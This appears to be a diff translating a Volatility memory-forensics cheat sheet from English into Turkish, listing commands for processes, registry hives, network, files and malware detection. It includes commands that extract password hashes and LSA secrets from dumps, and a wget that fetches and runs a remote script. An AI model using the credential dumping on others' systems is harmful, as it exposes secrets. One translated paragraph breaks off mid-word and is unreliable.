sahiptir. “list” eklentileri, süreçler gibi bilgileri almak için Windows Kernel yapıları arasında gezinmeye çalışır (bellekteki `_EPROCESS` yapılarının bağlı listesini bulma ve yürütme), OS handle'ları (handle tablosunu bulma ve listeleme, bulunan herhangi bir işaretçiyi çözme vb.). Örneğin, süreçleri listelemesi istendiğinde Windows API'sinin davranışına benzer şekilde çalışırlar. -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +Bu, “list” eklentilerini oldukça hızlı hale getirir, ancak kötü amaçlı yazılımlar tarafından manipülasyona karşı Windows API'si kadar savunmasızdır. Örneğin, kötü amaçlı yazılım DKOM kullanarak bir süreci `_EPROCESS` bağlı listesinden ayırırsa, bu süreç Görev Yöneticisi'nde görünmeyecek ve pslist'te de görünmeyecektir. -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +Diğer yandan, “scan” eklentileri, belirli yapılar olarak çözümlendiğinde anlamlı olabilecek şeyler için belleği kazıma yaklaşımını benimseyecektir. Örneğin, `psscan` belleği okuyacak ve ondan `_EPROCESS` nesneleri oluşturmaya çalışacaktır (ilgi çekici bir yapının varlığını gösteren 4 baytlık dizeleri arayan havuz etiketi taraması kullanır). Avantajı, çıkmış süreçleri bulabilmesidir ve kötü amaçlı yazılım `_EPROCESS` bağlı listesiyle oynasa bile, eklenti hala bellekte yatan yapıyı bulacaktır (çünkü sürecin çalışması için hala var olması gerekir). Dezavantajı ise, “scan” eklentilerinin “list” eklentilerinden biraz daha yavaş olması ve bazen yanlış pozitifler verebilmesidir (çok uzun süre önce çıkmış ve yapısının bazı kısımları diğer işlemler tarafından üzerine yazılmış bir süreç). -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +Kaynak: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## OS Profilleri ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +Readme içinde açıklandığı gibi, desteklemek istediğiniz **işletim sisteminin sembol tablosunu** _volatility3/volatility/symbols_ içine koymanız gerekir.\ +Çeşitli işletim sistemleri için sembol tablosu paketleri **indirilebilir** olarak mevcuttur: - [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) - [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -89,16 +75,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### Harici Profil +Desteklenen profillerin listesini almak için: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +Eğer **indirdiğiniz yeni bir profili** (örneğin bir linux profili) kullanmak istiyorsanız, aşağıdaki klasör yapısını bir yere oluşturmanız gerekiyor: _plugins/overlays/linux_ ve bu klasörün içine profili içeren zip dosyasını koymalısınız. Ardından, profillerin numarasını almak için: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -110,28 +93,20 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +Linux ve Mac profillerini **indirebilirsiniz** [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +Önceki bölümde profilin `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64` olarak adlandırıldığını görebilirsiniz ve bunu şu şekilde bir şey yürütmek için kullanabilirsiniz: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` - -#### Discover Profile - +#### Profil Keşfet ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **imageinfo ve kdbgscan arasındaki farklar** -#### **Differences between imageinfo and kdbgscan** - -[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from . - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) - +[**Buradan**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): imageinfo'nun yalnızca profil önerileri sağladığına karşılık, **k ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -143,89 +118,68 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis. - -## OS Information +**Kernel debugger block** olarak adlandırılan **KDBG**, Volatility tarafından yapılan adli görevler için kritik öneme sahiptir. `KdDebuggerDataBlock` olarak tanımlanan ve `_KDDEBUGGER_DATA64` türünde olan bu blok, `PsActiveProcessHead` gibi temel referanslar içerir. Bu özel referans, tüm süreçlerin listelenmesini sağlayarak, kapsamlı bellek analizi için temel olan süreç listesinin başına işaret eder. +## OS Bilgisi ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +`banners.Banners` eklentisi, dump'ta **linux banner'larını bulmak için vol3'te** kullanılabilir. -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## Hashler/Şifreler -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). +SAM hash'lerini, [domain önbellekli kimlik bilgilerini](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) ve [lsa gizli anahtarlarını](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets) çıkarın. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` - {{#endtab}} {{#endtabs}} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## Bellek Dökümü +Bir sürecin bellek dökümü, sürecin mevcut durumunun **her şeyini** **çıkaracaktır**. **procdump** modülü yalnızca **kod**u **çıkaracaktır**. ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` +## Süreçler -​ +### Süreçleri Listele -
- -​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Processes - -### List processes - -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +**Şüpheli** süreçleri (isimle) veya **beklenmedik** çocuk **süreçleri** (örneğin, iexplorer.exe'nin bir çocuğu olarak cmd.exe) bulmaya çalışın.\ +Gizli süreçleri tanımlamak için pslist'in sonucunu psscan ile **karşılaştırmak** ilginç olabilir. {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden) python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` - {{#endtab}} {{#endtabs}} @@ -233,185 +187,154 @@ volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -### Command line +### Komut satırı -Anything suspicious was executed? +Şüpheli bir şey çalıştırıldı mı? {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` - {{#endtab}} {{#endtabs}} -Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted. +`cmd.exe` içinde yürütülen komutlar **`conhost.exe`** (veya Windows 7'den önceki sistemlerde `csrss.exe`) tarafından yönetilmektedir. Bu, eğer bir saldırgan **`cmd.exe`**'yi bir bellek dökümü alınmadan önce sonlandırırsa, **`conhost.exe`**'nin belleğinden oturumun komut geçmişini geri kazanmanın hala mümkün olduğu anlamına gelir. Bunu yapmak için, konsolun modülleri içinde olağandışı bir etkinlik tespit edilirse, ilişkili **`conhost.exe`** sürecinin belleği dökülmelidir. Ardından, bu döküm içinde **strings** arayarak, oturumda kullanılan komut satırları potansiyel olarak çıkarılabilir. -### Environment +### Ortam -Get the env variables of each running process. There could be some interesting values. +Her çalışan sürecin çevre değişkenlerini alın. Bazı ilginç değerler olabilir. {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` - {{#endtab}} {{#endtabs}} -### Token privileges +### Token ayrıcalıkları -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. +Beklenmedik hizmetlerde ayrıcalıklı token'leri kontrol edin.\ +Bazı ayrıcalıklı token kullanan süreçleri listelemek ilginç olabilir. {{#tabs}} {{#tab name="vol3"}} - ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled #Get all processes with interesting privileges volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#endtabs}} ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). +Bir işlem tarafından sahip olunan her SSID'yi kontrol edin.\ +Bir ayrıcalık SID'si kullanan işlemleri (ve bazı hizmet SID'si kullanan işlemleri) listelemek ilginç olabilir. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` - {{#endtab}} {{#endtabs}} ### Handles -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) +Bir **işlemin hangi diğer dosyalara, anahtarlara, ipliklere, süreçlere...** bir **handle**'ı olduğunu bilmek faydalıdır (açılmıştır) {{#tabs}} {{#tab name="vol3"}} - ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` - {{#endtab}} {{#endtabs}} -### DLLs +### DLL'ler {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc ``` - {{#endtab}} {{#endtabs}} -### Strings per processes +### Süreç başına dizgiler -Volatility allows us to check which process a string belongs to. +Volatility, bir dizginin hangi işleme ait olduğunu kontrol etmemizi sağlar. {{#tabs}} {{#tab name="vol3"}} - ```bash strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -419,99 +342,78 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir . strings 3532.dmp > strings_file ``` - {{#endtab}} {{#endtabs}} -It also allows to search for strings inside a process using the yarascan module: +Ayrıca yarascan modülünü kullanarak bir süreç içinde dizeleri aramaya da olanak tanır: {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` - {{#endtab}} {{#endtabs}} ### UserAssist -**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run. +**Windows**, çalıştırdığınız programları **UserAssist anahtarları** adı verilen kayıt defteri özelliği ile takip eder. Bu anahtarlar, her programın ne kadar sıklıkla çalıştırıldığını ve en son ne zaman çalıştırıldığını kaydeder. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` - {{#endtab}} {{#endtabs}} ​ -
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Services +## Hizmetler {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp #Get name of the services and SID (slow) volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Network +## Ağ {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only @@ -526,102 +428,84 @@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes) volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` - {{#endtab}} {{#endtabs}} -## Registry hive +## Kayıt huni -### Print available hives +### Mevcut hunileri yazdır {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` - {{#endtab}} {{#endtabs}} -### Get a value +### Bir değer al {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` - {{#endtab}} {{#endtabs}} ### Dump - ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## Dosya Sistemi -## Filesystem - -### Mount +### Bağla {{#tabs}} {{#tab name="vol3"}} - ```bash #See vol2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` - {{#endtab}} {{#endtabs}} -### Scan/dump +### Tarama/döküm {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -631,60 +515,50 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` - {{#endtab}} {{#endtabs}} -### Master File Table +### Ana Dosya Tablosu {{#tabs}} {{#tab name="vol3"}} - ```bash # I couldn't find any plugin to extract this information in volatility3 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` - {{#endtab}} {{#endtabs}} -The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +**NTFS dosya sistemi**, _master file table_ (MFT) olarak bilinen kritik bir bileşen kullanır. Bu tablo, bir hacimdeki her dosya için en az bir giriş içerir ve MFT'nin kendisini de kapsar. Her dosya hakkında **boyut, zaman damgaları, izinler ve gerçek veriler** gibi hayati bilgiler, MFT girişleri içinde veya bu girişler tarafından referans verilen MFT dışındaki alanlarda kapsüllenmiştir. Daha fazla bilgi [resmi belgede](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table) bulunabilir. -### SSL Keys/Certs +### SSL Anahtarları/Sertifikaları {{#tabs}} {{#tab name="vol3"}} - ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Malware +## Kötü Amaçlı Yazılım {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section] #Malfind will search for suspicious structures related to malware @@ -698,11 +572,9 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -718,18 +590,16 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` - {{#endtab}} {{#endtabs}} -### Scanning with yara +### Yara ile Tarama -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. +Tüm yara kötü amaçlı yazılım kurallarını github'dan indirmek ve birleştirmek için bu scripti kullanın: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ dizinini oluşturun ve çalıştırın. Bu, kötü amaçlı yazılım için tüm yara kurallarını içeren _**malware_rules.yar**_ adlı bir dosya oluşturacaktır. {{#tabs}} {{#tab name="vol3"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -739,193 +609,154 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` - {{#endtab}} {{#endtabs}} ## MISC -### External plugins +### Dış eklentiler -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. +Dış eklentileri kullanmak istiyorsanız, eklentilerle ilgili klasörlerin ilk parametre olarak kullanıldığından emin olun. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` - {{#endtab}} {{#endtabs}} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +[https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) adresinden indirin. ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - -### Mutexes +### Mutexler {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant ``` - {{#endtab}} {{#endtabs}} -### Symlinks +### Sembolik Bağlantılar {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` - {{#endtab}} {{#endtabs}} ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module +**Bellekten bash geçmişini okumak mümkündür.** Ayrıca _.bash_history_ dosyasını da dökebilirsiniz, ancak bu devre dışı bırakıldı, bu nedenle bu volatility modülünü kullanabileceğiniz için mutlu olacaksınız. {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp linux.bash.Bash ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` - {{#endtab}} {{#endtabs}} -### TimeLine +### Zaman Çizelgesi {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` - {{#endtab}} {{#endtabs}} -### Drivers +### Sürücüler {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` - {{#endtab}} {{#endtabs}} -### Get clipboard - +### Panoyu al ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` - -### Get IE history - +### IE geçmişini al ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` - -### Get notepad text - +### Not Defteri metnini al ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### Ekran Görüntüsü ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - ### Master Boot Record (MBR) - ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +**Master Boot Record (MBR)**, bir depolama ortamının mantıksal bölümlerini yönetmede kritik bir rol oynar ve bu bölümler farklı [dosya sistemleri](https://en.wikipedia.org/wiki/File_system) ile yapılandırılmıştır. Sadece bölüm düzeni bilgilerini tutmakla kalmaz, aynı zamanda bir önyükleyici olarak işlev gören yürütülebilir kodu da içerir. Bu önyükleyici, işletim sisteminin ikinci aşama yükleme sürecini doğrudan başlatır (bkz. [ikinci aşama önyükleyici](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) veya her bölümün [hacim önyükleme kaydı](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) ile uyum içinde çalışır. 